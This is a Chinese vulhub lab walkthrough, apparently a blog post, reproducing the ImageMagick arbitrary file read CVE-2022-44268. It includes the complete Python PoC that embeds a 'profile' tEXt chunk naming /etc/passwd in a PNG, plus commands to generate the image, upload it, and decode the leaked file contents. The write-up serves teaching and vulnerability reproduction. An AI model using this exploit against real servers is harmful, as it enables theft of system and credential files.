[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)

博主介绍

‍ 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
    • 1、产品简介
    • 2、漏洞概述
  • 四、环境搭建
    • 1、进入CVE-2022-44268环境
    • 2、启动CVE-2022-44268环境
    • 3、查看CVE-2022-44268环境
    • 4、访问CVE-2022-44268环境
    • 5、查看CVE-2022-44268漏洞提示信息
    • 6、关闭CVE-2022-44268环境
  • 五、漏洞复现
    • 1、获取poc
    • 2、制作恶意图片
    • 3、上传恶意图片
    • 4、下载上传的恶意图片
    • 5、读取恶意图片内容
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2022-44268

二、影响范围

ImageMagick 7.1.0-51版本及以前

三、漏洞描述

1、产品简介

ImageMagick 是一个免费的开源软件套件,用于显示、转换和编辑图像文件。它可以读取和写入 200 多种图像文件格式,因此在全球网站中找到它是很常见的,因为总是需要处理用户个人资料、目录等的图片。

2、漏洞概述

在ImageMagick 7.1.0-51版本及以前存在CVE-2022-44268漏洞。
ImageMagick 7.1.0-49 容易受到信息泄露的攻击。当它解析PNG图像(例如,调整大小)时,生成的图像可能嵌入了任意远程文件的内容(如果ImageMagick二进制文件有权读取它)。

四、环境搭建

1、进入CVE-2022-44268环境

cd vulhub/weblogic/CVE-2022-44268

在这里插入图片描述

2、启动CVE-2022-44268环境

docker-compose up -d

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第1张图片

3、查看CVE-2022-44268环境

docker-compose ps

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第2张图片

4、访问CVE-2022-44268环境

http://192.168.233.130:8080/

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第3张图片

5、查看CVE-2022-44268漏洞提示信息

cat README.md

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第4张图片

6、关闭CVE-2022-44268环境

复现完记得关闭环境

docker-compose down

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第5张图片

五、漏洞复现

当 ImageMagick 解析 PNG 文件时,例如在调整大小操作中,生成的图像可能嵌入了来自网站的任意远程文件的内容(如果 magick 二进制文件有权读取它)。
恶意行为者可以制作 PNG 或使用现有 PNG 并添加文本块类型(例如 tEXt)。这些类型具有关键字和文本字符串。如果关键字是字符串“profile”(不带引号),则 ImageMagick 会将文本字符串解释为文件名,并将内容加载为原始配置文件,然后攻击者可以下载随远程文件内容一起提供的调整大小的图像。
利用这个漏洞,需要先准备一个恶意PNG文件,文件内容中包含我们准备读取的文件路径,
可以使用poc.py来生成这个图片。

1、获取poc

1、github下载链接:

https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py

2、CSDN下载链接:

https://download.csdn.net/download/qq_51577576/87559843

3、直接copy

#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
       b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
       b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'


def parse_data(data: bytes) -> str:
    _, data = data.strip().split(b'\n', 1)
    return binascii.unhexlify(data.replace(b'\n', b'')).decode()


def read(filename: str):
    if not filename:
        logging.error('you must specify a input filename')
        return

    res = ''
    p = png.Reader(filename=filename)
    for k, v in p.chunks():
        logging.info("chunk %s found, value = %r", k.decode(), v)
        if k == b'zTXt':
            name, data = v.split(b'\x00', 1)
            res = parse_data(d.decompress(data[1:]))

    if res:
        sys.stdout.write(res)
        sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
    if not to_filename:
        logging.error('you must specify a output filename')
        return

    with open(to_filename, 'wb') as f:
        f.write(png.signature)
        if from_filename:
            p = png.Reader(filename=from_filename)
            for k, v in p.chunks():
                if k != b'IEND':
                    png.write_chunk(f, k, v)
        else:
            png.write_chunk(f, b'IHDR', IHDR)
            png.write_chunk(f, b'IDAT', IDAT)

        png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
        png.write_chunk(f, b'IEND', b'')


def main():
    parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
    parser.add_argument('action', type=str, choices=('generate', 'parse'))
    parser.add_argument('-i', '--input', type=str, help='input filename')
    parser.add_argument('-o', '--output', type=str, help='output filename')
    parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
    args = parser.parse_args()
    if args.action == 'generate':
        write(args.input, args.output, args.read)
    elif args.action == 'parse':
        read(args.input)
    else:
        logging.error("bad action")


if __name__ == '__main__':
    main()

2、制作恶意图片

随便准备一张图

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第6张图片

python3 CVE-2022-44268_POC.py generate -o poc.png -r /etc/passwd 

在这里插入图片描述

自动生成了poc.png恶意图片

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第7张图片

3、上传恶意图片

上传正常图片抓包

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第8张图片

上传刚刚生成的恶意图片,点击提交抓包,发现上传恶意图片的时候可以看到多出来一个Payload profile=/etc/passwd

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第9张图片

上传成功

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第10张图片

4、下载上传的恶意图片

右键,另存图片

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第11张图片

这是我另存的图片

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)_第12张图片

5、读取恶意图片内容

python3 CVE-2022-44268_POC.py parse -i 2222222.png

读取到了/etc/passwd文件
这部分内容是由ImageMagick在处理旧图片时读取并写入到新图片中。

六、漏洞修复

升级为最新版本

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、poc下载链接1
5、poc下载链接2

你可能感兴趣的:(轮播展示专栏,vulhub漏洞复现,ImageMagick,任意文件读取漏洞,CVE-2022-44268,渗透测试)